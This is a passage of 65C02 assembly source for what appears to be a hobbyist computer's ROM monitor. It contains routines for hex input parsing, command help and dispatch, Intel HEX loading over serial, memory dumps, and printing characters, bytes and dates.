\__, | \___| \__| _____ |_| |_| |_| |_.__/ |_.__/ |_| \___| ; |___/ |_____| ; Read from IN_BUFFER at Y, and converts the ASCII character to a hex value ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: IN_BUFFER @ Y containing 1 character ; RETURNS: Carry bit clear = hex digit is not valid ; Carry bit set = hex digit is valid in A get_nibble: lda IN_BUFFER,y ; Get character jsr uppercase ; Convert A-F to uppercase ; IS IT A VALID HEX CHARACTER? cmp #"0" ; Filter anything bellow the ASCII 0 bcc get_nibble_error ; Is A less than "0"? Yes, then error cmp #"F"+1 ; Filter anything above the ASCII F bcs get_nibble_error ; Is A greater than "F"? Yes, then error cmp #"9"+1 ; Filter anything above ASCII 9 bcc get_nibble_ok ; Is A is less or equal to "9"? Yes, then ok cmp #"A" ; Filter anything below ASCII A bcs get_nibble_ok ; Is A greater then or equal to "A"? Yes, then ok get_nibble_error: clc ; Clear carry to indicate error rts ; End subroutine get_nibble_ok: ; OFFSET RESULT FROM ASCII VALUE to HEX VALUE sec ; Prepare for substraction sbc #$30 ; cmp #$0A ; Is it a decimal (0-9) digit? bcc get_nibble_clear ; Yes sec sbc #$07 ; Alphabet offset to get A-F get_nibble_clear: and #$0F ; Clear upper nibble iny ; Increment command line buffer pointer inc ERROR_PTR ; Increment pointer to next potential error location sec ; Set carry to indicate valid nibble rts ; End subroutine ; _ _ ; __ _ ___ | |_ __ __ ___ _ __ __| | ; / _` | / _ \ | __| \ \ /\ / / / _ \ | '__| / _` | ; | (_| | | __/ | |_ \ V V / | (_) | | | | (_| | ; \__, | \___| \__| _____ \_/\_/ \___/ |_| \__,_| ; |___/ |_____| ; ; Get a character word (16-bit) from the terminal, and produce a valid hex word ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: IN_BUFFER @ Y ; OUTPUT: Carry bit clear = invalid word ; Carry bit set = valid word in WORD & WORD+1 get_word: pha phx sty GET_TEMP ; Save for later usage ldx #0 ; Set counter to 0 get_word_count: ; IS THE WORD COMPOSED OF 1 to 4 CHARACTERS? lda IN_BUFFER,y ; Load character cmp #0 ; Is it the end of the string? beq get_word_endcount ; Yes, then stop counting cmp #" " ; Is it the seperator delimiter? beq get_word_endcount ; Yes, then stop counting iny ; Increment IN_BUFFER pointer inx ; Increment character count bra get_word_count ; Get next character until end of string or separator delimiter get_word_endcount: ldy GET_TEMP ; Restore index pointer to start of word get_word_count0; cpx #0 ; Is there an word specified? bne get_word_count1 ; Yes, then go to 1 lda CUR_ADDR ; Default word to current address (CUR_ADDR) if nothing is specified sta WORD lda CUR_ADDR+1 sta WORD+1 sec bra get_word_end ; End subroutine get_word_count1: cpx #1 ; Is there just one digit? bne get_word_count2 ; No, then go to 2, else... jsr get_nibble ; Get single character (nibble) bcc get_word_error ; If nibble contains an illegal character, go to error sta WORD ; Store it in the little endian part of the word stz WORD+1 ; Clear big endian part of the word sec bra get_word_end ; End subroutine get_word_count2: cpx #2 ; Is it just a 2 digit word? bne get_word_count3 ; No, then go to 3, else... jsr get_byte ; Get a byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD ; Store it in the little endian part of the word stz WORD+1 ; Clear big endian part of the word sec bra get_word_end ; End subroutine get_word_count3: cpx #3 ; Is it a 3 digit word? bne get_word_count4 ; No, then go to 4, else... jsr get_nibble ; Get the first character of a 3 digit word bcc get_word_error ; If nibble contains an illegal character, go to error sta WORD+1 ; Store the nibble in the big endian portion of the word jsr get_byte ; Get the little endian byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD ; Store the little endian portion of the word sec bra get_word_end ; End subroutine get_word_count4: cpx #4 ; Is it a 4 digit word? bne get_word_error ; No, then flag an error, else... jsr get_byte ; Get the big endian byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD+1 ; Store the nibble in the big endian portion of the word jsr get_byte ; Get the little endian byte bcc get_word_error ; If byte contains an illegal character, go to error sta WORD ; Store the little endian portion of the word sec ; Indicate that word is valid bra get_word_end ; End subroutine get_word_error: clc ; Clear Carry to indicate an error get_word_end: plx pla rts ; __ _ ___ ; / _` | / _ \ ; | (_| | | (_) | ; \__, | \___/ ; |___/ ; ; Execute code at address specified, or at CUR_ADDR ; ---------------------------------------------------------------------------------------------------------------------- go_exec: lda IN_BUFFER,y ; Read a character from the input buffer bne go_get_addr ; It's not the end of string, get address jmp (CUR_ADDR) ; Execute code at CUR_ADDR go_get_addr: pe1 cmp #" " ; Is it the space delimiter? beq go_at_addr ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error rts ; End of routine go_at_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces jsr get_word ; Get address from the input buffer bcs go_addr ; Valid address jsr invalid_address ; If there's an error in the address, print it bra go_end go_addr: jmp (WORD) ; Execute code at specified address go_end: rts ; _ _ ; | |__ ___ | | _ __ ; | '_ \ / _ \ | | | '_ \ ; | | | | | __/ | | | |_) | ; |_| |_| \___| |_| | .__/ ; |_| ; ; Prints help for various commands ; ---------------------------------------------------------------------------------------------------------------------- help: lda IN_BUFFER,y ; Read a character from the input buffer bne help_other ; End of string? No, go check if it's a space ldx #<help_msg ; Get LSB address of msg ldy #>help_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_other: ; IF NO SPACE DELIMITER IS PRESENT PRINT ERROR cmp #" " ; Is it the space delimiter? beq help_command ; Yes it is. Then go read an address jsr syntax_error ; If not EOL or space, print syntax error jmp help_end ; End subroutine help_command: ; READ THE CHARACTER REPRESENTING THE COMMAND jsr skip_spaces ; Skip leading spaces lda IN_BUFFER,y ; Load a character jsr uppercase help_address: ; LOAD ADDRESS HELP cmp #"$" ; Is it help for ADDRESS ($) bne help_iomap ; No, goto next ldx #<help_address_msg ; Get LSB address of msg ldy #>help_address_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_iomap: ; LOAD IOMAP HELP cmp #"!" ; Is it help for IOMAP bne help_assemble ; No, goto next ldx #<help_iomap_msg ; Get LSB address of msg ldy #>help_iomap_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_assemble: ; ASSEMBLE COMMAND HELP cmp #"A" ; Is it help for ASSEMBLE bne help_basic ; No, goto next ldx #<help_assemble_msg ; Get LSB address of msg ldy #>help_assemble_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_basic: ; CONVERT COMMAND HELP cmp #"B" ; Is it help for CONVERT bne help_clock ; No, goto next ldx #<help_basic_msg ; Get LSB address of msg ldy #>help_basic_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_clock: ; CLOCK COMMAND HELP cmp #"C" ; Is it help for CLOCK bne help_disassemble ; No, goto next ldx #<help_clock_msg ; Get LSB address of msg ldy #>help_clock_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_disassemble: ; DISASSEMBLE COMMAND HELP cmp #"D" ; Is it help for DISASSEMBLE bne help_fill ; No, goto next ldx #<help_disassemble_msg ; Get LSB address of msg ldy #>help_disassemble_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_fill: ; FILL COMMAND HELP cmp #"F" ; Is it help for FILL bne help_go ; No, goto next ldx #<help_fill_msg ; Get LSB address of msg ldy #>help_fill_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_go: ; GO COMMAND HELP cmp #"G" ; Is it help for GO bne help_hunt ; No, goto next ldx #<help_go_msg ; Get LSB address of msg ldy #>help_go_msg ; Get MSB address of msg jsr print_string ; Write message jmp help_end ; End subroutine help_hunt: ; LOAD COMMAND HELP cmp #"H" ; Is it help for LOAD bne help_load ; No, goto next ldx #<help_hunt_msg ; Get LSB address of msg ldy #>help_hunt_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_load: ; LOAD COMMAND HELP cmp #"L" ; Is it help for LOAD bne help_memory ; No, goto next ldx #<help_load_msg ; Get LSB address of msg ldy #>help_load_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_memory: ; MEMORY MAP COMMAND HELP cmp #"M" ; Is it help for MEMORY bne help_registers ; No, goto next ldx #<help_memory_msg ; Get LSB address of msg ldy #>help_memory_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_registers: ; RGISTERS COMMAND HELP cmp #"R" ; Is it help for REGISTERS bne help_save ; No, goto next ldx #<help_registers_msg ; Get LSB address of msg ldy #>help_registers_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_save: ; SAVE COMMAND HELP cmp #"S" ; Is it help for SAVE bne help_test ; No, goto next ldx #<help_save_msg ; Get LSB address of msg ldy #>help_save_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_test: ; TEST COMMAND HELP cmp #"T" ; Is it help for TEST bne help_write ; No, goto next ldx #<help_test_msg ; Get LSB address of msg ldy #>help_test_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_write: ; WRITE COMMAND HELP cmp #"W" ; Is it help for WRITE bne help_zero ; No, goto next ldx #<help_write_msg ; Get LSB address of msg ldy #>help_write_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_zero: ; ZERO COMMAND HELP cmp #"Z" ; Is it help for ZERO bne help_not_valid ; No, goto next ldx #<help_zero_msg ; Get LSB address of msg ldy #>help_zero_msg ; Get MSB address of msg jsr print_string ; Write message bra help_end ; End subroutine help_not_valid: ldx #<help_not_valid_msg ; Get LSB address of msg ldy #>help_not_valid_msg ; Get MSB address of msg jsr print_string ; Write message help_end: rts ; _ _ _ ; (_) _ __ ___ ___ _ _ _ __ __ _ __| | __| | _ __ ; | | | '_ \ / __| / __| | | | | | '__| / _` | / _` | / _` | | '__| ; | | | | | | | (__ | (__ | |_| | | | | (_| | | (_| | | (_| | | | ; |_| |_| |_| \___| _____ \___| \__,_| |_| _____ \__,_| \__,_| \__,_| |_| ; |_____| |_____| ; ; Increment CUR_ADDR (16-bit address) - Does not roll-over ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: CUR_ADDR and CUR_ADDR+1 ; RETURNS: Carry bit clear = Did not increment. Already at $FFFF ; Carry bit set = Incremented inc_cur_addr: pha lda CUR_ADDR+1 cmp #$FF ; Is MSB = $FF? bne inc_cur_addr_add ; No, then proceed to increment lda CUR_ADDR cmp #$FF ; Is LSB = $FF bne inc_cur_addr_add ; No, then proceed to increment clc ; Carry clear indicate reached $FFFF pla rts inc_cur_addr_add: clc ; Clear carry bit lda CUR_ADDR ; Load LSB into A adc #1 ; Add 1 sta CUR_ADDR ; Store the result in LSB bcc inc_cur_addr_end ; If result does not roll over(FF -> 00), then end subroutine inc CUR_ADDR+1 ; IF it does, then add 1 to MSB inc_cur_addr_end: sec ; Carry set indicates incrementation done pla rts mem_io_map: ldx #<mem_io_map_msg ; Get LSB address of msg ldy #>mem_io_map_msg ; Get MSB address of msg jsr print_string ; Write message rts ; _ _ _ _ _ _ ; (_) _ __ | |_ ___ | | | |__ ___ __ __ | | ___ __ _ __| | ; | | | '_ \ | __| / _ \ | | | '_ \ / _ \ \ \/ / | | / _ \ / _` | / _` | ; | | | | | | | |_ | __/ | | | | | | | __/ > < | | | (_) | | (_| | | (_| | ; |_| |_| |_| \__| \___| |_| _____ |_| |_| \___| /_/\_\ _____ |_| \___/ \__,_| \__,_| ; |_____| |_____| ; ; Download Intel hex. Start .org at $1000 ; (From the 6502.org code repository with a little modification) ; ---------------------------------------------------------------------------------------------------------------------- intel_hex_load: stz DOWNLOAD_FAIL ; Start by assuming no download failure ldx #<starthex ; Get LSB address of message ldy #>starthex ; Get MSB address of message jsr print_string ; Write message hex_get_record: jsr read_char bcc hex_get_record cmp #ESC ; Has ESCAPE key been pressed? bne hex_get_start ; Go check for record marker ldx #<transferaborted ; Get LSB address of message ldy #>transferaborted ; Get MSB address of message jsr print_string ; Write message rts ; Exit hex_get_start: cmp #":" ; Start of record marker bne hex_get_record ; not found yet ; START OF RECORD MARKER HAS BEEN FOUND ; READ RECORD LENGTH jsr read_hex ; Get the record length sta RECORD_LENGTH ; Save it the record length sta CHECKSUM ; and save first byte of checksum ; READ THE ADDRESS jsr read_hex ; Get the high part of start address sta START+1 ; clc ; adc CHECKSUM ; Add in the checksum sta CHECKSUM ; jsr read_hex ; Get the low part of the start address sta START ; clc ; adc CHECKSUM ; Add in the checksum sta CHECKSUM ; ; READ RECORD TYPE jsr read_hex ; Get the record type sta RECORD_TYPE ; and save it clc ; adc CHECKSUM ; Add in the checksum sta CHECKSUM ; lda RECORD_TYPE ; beq hex_get_data ; Get data cmp #1 beq hex_end_of_file ; Get End of file record cmp #2 beq hex_get_record ; Bypass remaining data of record, and get for next record ; UNKNOWN RECORD TYPE ldx #<unknownrecordtype ; Get LSB address of message ldy #>unknownrecordtype ; Get MSB address of message jsr print_string ; Write message lda RECORD_TYPE ; Get record type jsr print_byte ; Print it lda #CR ; But we'll let it finish so as not to falsely start a new d/l from existing rts ; Exit if any other record type ; GET RECORD TYPE 00 (DATA) hex_get_data: ldx RECORD_LENGTH ; Number of data bytes to write to memory ldy #0 ; Start offset at 0 hex_get_data_loop: jsr read_hex ; Get the first/next/last data byte sta (START),y ; Save it to RAM clc adc CHECKSUM ; Add in the checksum sta CHECKSUM ; iny ; Update data pointer dex ; Decrement count bne hex_get_data_loop ; Continue transfering data until count is 0 jsr read_hex ; Get the checksum clc adc CHECKSUM bne hex_failure ; If failed, report it lda #"." ; Character indicating record OK = '.' jsr print_char ; Write it out jmp hex_get_record ; Get next record ; FAILED CHECKSUM, INDICATE RECORD THAT FAILED hex_failure: lda #'x' ; Character indicating record failure = 'F' sta DOWNLOAD_FAIL ; Download failed if non-zero jsr print_char ; write it out jmp hex_get_record ; Wait for next record start ; EOF RECORD (01) hex_end_of_file: ; We've reached the end-of-record record jsr read_hex ; Get the checksum clc adc CHECKSUM ; Add previous checksum accumulator value beq hex_download_check ; Checksum = 0 means we're OK! ldx #<badrecordchecksum ; Get LSB address of message ldy #>badrecordchecksum ; Get MSB address of message jsr print_string ; Write message rts ; PRINTS STATUS OF DOWNLOAD (SUCCESS OR FAILED) hex_download_check: lda DOWNLOAD_FAIL ; beq hex_download_success ; Check D/L fail flag ldx #<downloadfailed ; Get LSB address of message ldy #>downloadfailed ; Get MSB address of message jsr print_string ; Write message rts hex_download_success: ldx #<downloadsuccessful ; Get LSB address of message ldy #>downloadsuccessful ; Get MSB address of message jsr print_string ; Write message lda #$10 ; Set CUR_ADDR to $1000 sta CUR_ADDR+1 ; stz CUR_ADDR ; rts ; _ __ ___ ___ _ __ ___ ___ _ __ _ _ ; | '_ ` _ \ / _ \ | '_ ` _ \ / _ \ | '__| | | | | ; | | | | | | | __/ | | | | | | | (_) | | | | |_| | ; |_| |_| |_| \___| |_| |_| |_| \___/ |_| \__, | ; |___/ ; ; Reads and displays a portion of memory (memory dump) ; ---------------------------------------------------------------------------------------------------------------------- ; GET COMMAND LINE START ADDRESS IF ANY ; ------------------------------------- memory: ; CHECK FOR EOL AND " " DELIMITER lda IN_BUFFER,y ; Read a character from the input buffer beq memory_default_addr ; Is it end of buffer (0)? Yes, so use default address (CUR_ADDR) cmp #" " ; Is it the space delimiter? beq memory_start_addr ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error jmp memory_end ; Go to end of routine memory_default_addr: ; IF NO ADDRESS PROVIDED, GET CUR ADDRESS USED +1 lda CUR_ADDR+1 ; Read the MSB's last address used sta SRC_ADDR+1 ; Store it as the start address lda CUR_ADDR ; Read the LSB's last address used sta SRC_ADDR ; Store it as the start address bra memory_hex_dump ; memory_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcs memory_store_start ; Valid word is present, store address jsr invalid_address ; Display invalid address message jmp memory_end ; No valid word is present, then send end parsing memory_store_start: ; STORE START ADDRESS lda WORD ; Load LSB from get_word sta SRC_ADDR ; Store LSB to start address register sta CUR_ADDR ; Store it in the current address (LSB) lda WORD+1 ; Load MSB from get_word sta SRC_ADDR+1 ; Store MSB to start address register sta CUR_ADDR+1 ; Store it in the current address (MSB) memory_hex_dump: ; PRINT HEX DUMP stz MON_TEMP+1 ; Set line counter to 0 ; PRINT ADDRESS, OPCODE AND OPERAND VALUES memory_looplines: ; PRINT 16-BIT ADDRESS AT THE BEGINNING OF EACH LINE ; PRINT ADDRESS lda CUR_ADDR+1 ; Load address MSB jsr print_byte ; Prints MSB lda CUR_ADDR ; Load address LSB jsr print_byte ; Prints LSB lda #":" ; Fetch colon ":" delimiter for byte display jsr print_char ; Print it lda #" " ; Fetch the space character jsr print_char ; Print it ldx #$00 ; Set byte counter to 0 memory_loopbytes: ; PRINT X BYTES PER LINE stz MON_TEMP r_lb0: jsr memory_ffff ; Is address $FFFF? bcc r_lb1 ; No, then proceed to display the byte normally lda #1 ; Yes, is it the first time FFFF appears? cmp MON_TEMP ; beq r_lb1 ; lda #" " ; Else, if it's $FFF print spaces jsr print_char ; One for the MSB jsr print_char ; Another for the LSB jsr print_char ; And lastly, the separator bra r_lb2 ; Proceed with the byte loop r_lb1: lda (CUR_ADDR) ; Load byte from referenced address jsr print_byte ; Print the byte lda #" " ; Separate bytes with a space jsr print_char ; Print the space separator r_lb2: jsr inc_cur_addr ; Increment current address counter by one inx ; Increment byte counter cpx #BYTES_PER_LINE ; Is it the predefined amount of bytes? bne r_lb0 ; No? Then contine printing bytes memory_print_characters: ; PRINT CHARACTER REPRESENTATION OF BYTES lda #"|" ; Fetch the pipe "|" separator character jsr print_char ; Print it lda #" " ; Fetch the space character jsr print_char ; Print it lda SRC_ADDR ; Reload start address sta CUR_ADDR ; Into the temporary location lda SRC_ADDR+1 ; Reload start address sta CUR_ADDR+1 ; Into the temporary location ldx #$00 ; Reset counter to 0 to be the character counter memory_loopchars: ; PRINT 8 CHARACTERS, OR 16 CHARACTERS PER LINE stz MON_TEMP r_lc: jsr memory_ffff ; Is address $FFFF? bcc r_lc0 ; No, then proceed to display the character normally lda #1 cmp MON_TEMP beq r_lc0 lda #" " ; Else, jsr print_char ; print a space bra r_lc3 ; Proceed with character loop r_lc0: lda (CUR_ADDR) ; Load character from referenced address cmp #" " ; ASCII decimal 32 (Space) bcc r_lc1 ; Is A < 20? Yes? Then output error 0. cmp #$7F ; ASCII decimal 127? (DEL) bcs r_lc1 ; Is A >= 127? Yes? Then output error 0. bra r_lc2 ; Otherwise, returns A as is. r_lc1: lda #"." ; It's an invalid character, replace it with a dot r_lc2: jsr print_char ; Print valid character r_lc3: jsr inc_cur_addr ; Increment temp address by one inx ; Increment character counter cpx #BYTES_PER_LINE ; Is it the predefined amount of characters? bne r_lc ; No, then proceed to the next character lda #CR ; Fetch the new line character jsr print_char ; Print it inc MON_TEMP+1 ; Increment line counter ; UPDATE ADDRESSES lda CUR_ADDR ; Load last address LSB sta SRC_ADDR ; Store it as the new start address LSB lda CUR_ADDR+1 ; Load last address LSB sta SRC_ADDR+1 ; Store it as the new start address LSB ; IF $FFFF REACHED, THEN STOP DISPLAYING MORE LINES lda MON_TEMP+1 jsr memory_ffff ; Is current address $FFFF? bcc r_nxt ; No lda #ROWS-2 ; Else end printing lines r_nxt: cmp #ROWS-2 beq memory_end jmp memory_looplines ; Finished displaying lines memory_end: ; IF CUR ADDRESS WAS $FFFF THEN ROLL OVER TO $0000 jsr memory_ffff ; Is current address $FFFF? bcc r_e2 stz CUR_ADDR ; Set address to 0000 stz CUR_ADDR+1 ; r_e2: rts ; Check if end of address reached ($FFFF) ; Carry set if $FFFF memory_ffff: pha lda CUR_ADDR+1 ; Load last address MSB cmp #$FF ; Is it $FF? bne rm_ffff_no ; No, then end routine lda CUR_ADDR ; Load last address LSB cmp #$FF ; Is it $FF? bne rm_ffff_no ; No, then end routine rm_ffff_yes: inc MON_TEMP sec pla rts rm_ffff_no: clc pla rts ; _ _ _ _ ____ _ ; _ __ (_) | |__ | |__ | | ___ |___ \ _ __ _ _ _ __ ___ ___ _ __ (_) ___ ; | '_ \ | | | '_ \ | '_ \ | | / _ \ __) | | '_ \ | | | | | '_ ` _ \ / _ \ | '__| | | / __| ; | | | | | | | |_) | | |_) | | | | __/ / __/ | | | | | |_| | | | | | | | | __/ | | | | | (__ ; |_| |_| |_| |_.__/ |_.__/ |_| \___| |_____| |_| |_| \__,_| |_| |_| |_| \___| |_| |_| \___| ; ; Convert the ASCII nibble to numeric value from 0-F ; ---------------------------------------------------------------------------------------------------------------------- ; Value to convert in A ; Returns nibble in A nibble2numeric: cmp #"9"+1 ; See if it's 0-9 or 'A'..'F' (no lowercase yet) bcc nib2num ; If we borrowed, we lost the carry so 0..9 sbc #7+1 ; Subtract off extra 7 (sbc subtracts off one less) nib2num: ; If we fall through, carry is set unlike direct entry at nib2num sbc #"0"-1 ; Subtract off '0' (if carry clear coming in) and #$0F ; No upper nibble no matter what rts ; Return the nibble ; _ __ __ _ _ __ ___ ___ ; | '_ \ / _` | | '__| / __| / _ \ ; | |_) | | (_| | | | \__ \ | __/ ; | .__/ \__,_| |_| |___/ \___| ; |_| ; Parse monitor command line ; ---------------------------------------------------------------------------------------------------------------------- parse2: ldy #0 ; Set IN_BUFFER index to first character jsr skip_spaces ; Remove leading spaces lda IN_BUFFER,y ; Load a character cmp #0 ; Is the string empty? bne parse_command ; No, then proceed to remove leading spaces bra parse_end ; Yes, then end parsing parse_command: jsr uppercase ; Converts character to uppercase iny ; Increment input buffer pointer inc ERROR_PTR ; Increment error pointer location ; JUMP TABLE parse_fill: cmp #"F" ; Is it the FILL command? bne parse_memory ; If it's not, the proceed to next command jmp fill_mem ; Execute command parse_memory: cmp #"M" ; Is it the READ MEMORY command? bne parse_write ; If it's not, the proceed to next command jmp memory ; Execute command parse_write: cmp #"W" ; Is it the WRITE command? bne parse_zero ; If not, then proceed to the next command jmp write_mem ; Execute command parse_zero: cmp #"Z" ; Is it the WRITE command? bne parse_end ; If not, then proceed to the next command jmp zero_mem ; Execute command parse_end: rts cmd_address = $80 cmd_assemble = $81 ; tbc cmd_diagnostics = $82 cmd_disassemble = $83 cmd_find = $84 ; tbc cmd_fill = $85 cmd_memory = $86 cmd_help = $87 cmd_load = $88 cmd_map = $89 cmd_peek = $8A ; tbc cmd_poke = $8B cmd_run = $8C cmd_register = $8D cmd_save = $8E ; tbc cmd_zero = $8F parse: ldy #$00 ; Input buffer pointer ldx #$00 ; Command pointer jsr skip_spaces ; Skip leading spaces (alters input buffer pointer y) sty PARSE_IN_BUFF_POS ; Store the real posision of first character in buffer lda ERROR_PTR sta PARSE_ERROR_PTR parse_next_char: lda commands,x ; Load a command character beq parse_no_cmd ; If no command is recognized or valid, end parsing bmi parse_is_cmd ; If it's a command code, go to command cmp IN_BUFFER,y ; Compare it with input buffer bne parse_skip_cmd ; if not equal, go to next command by skipping the rest of the command letters iny ; Increment input buffer pointer inx ; Increment command pointer inc ERROR_PTR ; Increment Error pointer bra parse_next_char ; Grab the next character parse_skip_cmd: ; BACKUP TO ORIGINAL POSITION ldy PARSE_IN_BUFF_POS lda PARSE_ERROR_PTR sta ERROR_PTR ; SKIP CHARACTERS UNTIL COMMAND CODE IS DETECTED parse_skip_until_code: inx lda commands,x bpl parse_skip_until_code inx bra parse_next_char parse_no_cmd: rts parse_is_cmd: cmp #cmd_address bne parse_is_cmd2 jmp address parse_is_cmd2: cmp #cmd_diagnostics bne parse_is_cmd3 jmp diagnostics parse_is_cmd3: cmp #cmd_disassemble bne parse_is_cmd4 jmp disassemble parse_is_cmd4: cmp #cmd_fill bne parse_is_cmd5 jmp fill_mem parse_is_cmd5: cmp #cmd_help bne parse_is_cmd6 jmp help parse_is_cmd6: cmp #cmd_load bne parse_is_cmd7 jmp intel_hex_load parse_is_cmd7: cmp #cmd_map bne parse_is_cmd8 jmp mem_io_map parse_is_cmd8: cmp #cmd_memory bne parse_is_cmd9 jmp memory parse_is_cmd9: cmp #cmd_poke bne parse_is_cmd10 jmp write_mem parse_is_cmd10: cmp #cmd_run bne parse_is_cmd11 jmp go_exec parse_is_cmd11: cmp #cmd_register bne parse_is_cmd12 jmp registers parse_is_cmd12: cmp #cmd_zero bne parse_no_cmd jmp zero_mem commands: .byte "ADDR", cmd_address ; Set current address for commands requiring only one parameter like diag, mem, run, etc. .byte "DIAG", cmd_diagnostics ; Diagnose RAM .byte "DIS", cmd_disassemble ; Disassemble memory .byte "FILL", cmd_fill ; Fill a region of memory with a byte .byte "HELP", cmd_help ; Help for various commands .byte "LOAD", cmd_load ; Load a program using Intel Hex (Perhaps x-modem soon) .byte "MAP", cmd_map ; Display memory map of computer .byte "MEM", cmd_memory ; Memory dump .byte "POKE", cmd_poke ; Poke a value at a specific memory location .byte "RUN", cmd_run ; Run a loaded or assembled program .byte "REG", cmd_register ; Display register values (tbc) .byte "SAVE", cmd_save ; Save code or a region of memory (tbc) .byte "ZERO", cmd_zero ; Zero out a region of memory .byte $00 ; End of commands ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ | |__ _ _ | |_ ___ ; | '_ \ | '__| | | | '_ \ | __| | '_ \ | | | | | __| / _ \ ; | |_) | | | | | | | | | | |_ | |_) | | |_| | | |_ | __/ ; | .__/ |_| |_| |_| |_| \__| _____ |_.__/ \__, | \__| \___| ; |_| |_____| |___/ ; Prints a HEX representation of a byte ;----------------------------------------------------------------------------------------------------------------------- ; INPUT: Byte in A print_byte: ;pha ; jsr print_upper_nibble ; Print first nibble to terminal jsr print_lower_nibble ; Print second nibble to terminal ;pla ; rts ; _ _ _ ; _ __ _ __ (_) _ __ | |_ ___ | |__ __ _ _ __ ; | '_ \ | '__| | | | '_ \ | __| / __| | '_ \ / _` | | '__| ; | |_) | | | | | | | | | | |_ | (__ | | | | | (_| | | | ; | .__/ |_| |_| |_| |_| \__| _____ \___| |_| |_| \__,_| |_| ; |_| |_____| ; Write character to ACIA1 (Rockwell) - If using a WD65C51, use a delay instead of checking the transmit buffer flag ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: Character to print in A print_char: pha ; Save A, the character to send, for later use print_char_delay: lda ACIA1_STATUS ; Check if the transmit buffer is empty and #$10 ; Isolate transmit buffer flag from register beq print_char_delay ; 1 = buffer clear, 0 = buffer not empty pla ; Restore A with character to send sta ACIA1_DATA ; Transmit character that is in A to the ACIA rts ; _ _ _ _ ; _ __ _ __ (_) _ __ | |_ __| | __ _ | |_ ___ ; | '_ \ | '__| | | | '_ \ | __| / _` | / _` | | __| / _ \ ; | |_) | | | | | | | | | | |_ | (_| | | (_| | | |_ | __/ ; | .__/ |_| |_| |_| |_| \__| _____ \__,_| \__,_| \__| \___| ; |_| |_____| ; Prints date ; ---------------------------------------------------------------------------------------------------------------------------------- ; INPUT: A SHORT = Short format (2022-02-16) ; MEDIUM = medium format (February 16, 2022) ; LONG = Long format (Wednesday, February 16, 2022) print_date: pha lda #$40 ; Bit 6 = Read bit sta RTC_CTRL ; Halt the timekeeper register to be able to read it pla ; DETERMINE WHICH DATE FORMAT TO PRINT print_date_format: cmp #SHORT ; Is it the short format beq print_date_short ; Yes cmp #MEDIUM ; Is it the medium format beq print_date_medium ; Yes, if not then print long format. ; PRINT WEEK DAY ldx #0 ; Set day index to zero day_search: lda day,x ; Get data pointed by X cmp #$FF bne day_search2 jmp print_date_end day_search2: inx ; Point to next piece of data for next loop cmp RTC_DAY ; Does the data correlate to the day of the week? bne day_search ; No, then search again print_day: lda day,x ; Load character beq print_day_end ; Once null character reached, end printing day of week jsr print_char ; Print character inx ; Point to next character bra print_day ; Loop to get next character print_day_end: lda #"," ; Print comma jsr print_char ; lda #" " ; Print space jsr print_char ; ; PRINT MONTH print_date_medium: ldx #0 ; Set month index to zero month_search: lda month,x ; Get data pointed by X cmp #$FF bne month_search2 jmp print_date_end month_search2: inx ; Point to next piece of data for next loop cmp RTC_MONTH ; Does the data correlate to the month? bne month_search ; No, then search again month_print_loop: lda month,x ; Load character pointed by X beq month_print_end ; Once null character reached, end subroutine jsr print_char ; Print character inx ; Increment pointer bra month_print_loop ; Get next character month_print_end: lda #" " ; Load the space character jsr print_char ; Print it ; PRINT DATE lda RTC_DATE ; Load the date cmp #10 ; Is if bigger then 10? bcc date_print_1digit ; If not, then print 1 digit date jsr print_upper_nibble ; If its 10 or higher, print 2 digits date_print_1digit: jsr print_lower_nibble lda #"," ; Load the comma character jsr print_char ; Print it lda #" " ; Load the space character jsr print_char ; Print it ; PRINT YEAR lda #"2" ; Load up "2" digit jsr print_char ; print the thousanth's digit of the year lda #"0" ; Load up "0" digit jsr print_char ; Print the hundreth's digit of the year lda RTC_YEAR ; Load the year from RTC jsr print_byte ; Print it bra print_date_end print_date_short: lda #"2" jsr print_char lda #"0" jsr print_char lda RTC_YEAR jsr print_byte lda #"-" jsr print_char lda RTC_MONTH jsr print_byte lda #"-" jsr print_char lda RTC_DATE jsr print_byte print_date_end: stz RTC_CTRL ; Resumes the timekeeper updates rts ; _ _ _ _ _ _ ; _ __ _ __ (_) _ __ | |_ _ __ (_) | |__ | |__ | | ___ ; | '_ \ | '__| | | | '_ \ | __| | '_ \ | | | '_ \ | '_ \ | | / _ \ ; | |_) | | | | | | | | | | |_ | | | | | | | |_) | | |_) | | | | __/ ; | .__/ |_| |_| |_| |_| \__| _____ |_| |_| |_| |_.__/ |_.__/ |_| \___| ; |_| |_____| ; Print lower nibble from a byte ;----------------------------------------------------------------------------------------------------------------------------------- ; INPUT: Byte in A print_upper_nibble: pha ; phy ; lsr ; Move MSB nibble to LSB position lsr ; " lsr ; " lsr ; " and #$0F ; tay ; Index A for first nibble lda hexascii,y ; Load ascii value according to index jsr print_char ; Print first nibble to terminal ply ; pla ; rts 